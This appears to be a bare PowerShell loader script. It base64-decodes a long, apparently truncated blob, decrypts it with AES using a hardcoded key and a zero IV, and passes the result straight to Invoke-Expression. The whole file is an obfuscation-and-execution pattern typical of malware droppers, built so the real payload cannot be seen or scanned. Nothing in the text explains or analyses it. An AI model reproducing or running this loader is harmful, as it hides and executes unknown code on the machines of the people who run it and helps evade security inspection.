$Base64EncodedEncryptedData = "YmZ5SnJORlF4clEyaExyZXZGYncvOVRKMmhNQlRJUUlpUXMzalk2N3FNWXhydllxcFBpN3A0b1M5dXVCdFlpRTF0YUlPMXMzY0YyR1F0Yk5rTWdlUWpVTks0VFB3dTBOeDNycUlveFdDNmd5NlRMVVRFN1h1dUdNc0VHbnBGZ09yempmL3R0WUpYQzNsYXVSTDZsVUtkREJhWlVvb0YxMnNnN2dFQlM2YjUwYVhZM09pRFk5eDVXWGRKUkFYU0lZZU4vMStsWnVKK284RGhhODB0MGw0YUdWdnQ2QjVldUJ0c0pLTGc4QS83eW1GVUptU2pBYmVvc2poWk5yZm5YUWNZSlg3bGdnMG9YbC9nM2ZtMk5zZDVOQ09GdTJKd2EzR0ZmQ1pOVzlWNzhHdmxDVk1lcHhmci9ZRXY3cDQzaWptaGZCTEc5RmZ3YWFaYjdGQlVrRkMxR0RuVFAvK2U3MmVRQ3FjR1dKcXExTXpLM3I2NmJHQnBGQTRxRE13MEJuMWRIUDYyNUFzamlFYlVwY2pmWnZwZCtGY1NPUlBDckRiNzNPSnJoaXFEMVdGdWlFdWNKdlN5aDZ4V3hIVm5TU1BOY3F4ZnF5SEpQbFh4Z3BraEJsN0cwVlFwakN1UUxZQmV3ZnkwZ1lXZGZmV1MrSVB6Q0d4WjM3M0xadER0VCtXZjFvelFRMGpLU2FCNzlZcUpVWlE4SytlRTlnNk1lZGFoMmEydnFaVG9IcngvRU5YMXJmU3A3SEFFbkdMMXUzTkpYbUR1SnY3NStnN2Y1QU8vVHcyUFVpYk9DeSs1RDdWN2dZdFVSNytyRWVlakpLd2h1YnV6T3lBclJpbmxSS2dVZHFlZ3JIYU81NW04VjZkempkWldyYkd6N2FzSHBlL3dTSytTb0V3UVFGQXVCZUQrOTZCS2U0aFVKc0lCRmoyUzhLL1NQeTRoQkJ2c05iSmJJUVl1SEZnaUVodGxJOW56NE1GcnVuQ
$DecodedEncryptedData = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Base64EncodedEncryptedData))
$EncryptedData = $DecodedEncryptedData
$Key = "YourSecretKey1234"
$KeyBytes = (New-Object Security.Cryptography.SHA256Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes($Key))
$IV = New-Object byte[] 16
$EncryptedBytes = [Convert]::FromBase64String($EncryptedData)
$Aes = [System.Security.Cryptography.AesManaged]::new()
$Aes.Key = $KeyBytes
$Aes.IV = $IV
$Decryptor = $Aes.CreateDecryptor()
$MemoryStream = New-Object System.IO.MemoryStream
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemoryStream, $Decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$CryptoStream.Write($EncryptedBytes, 0, $EncryptedBytes.Length)
$CryptoStream.Close()
$DecryptedData = $MemoryStream.ToArray()
$DecodedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedData)
Invoke-Expression $DecodedScript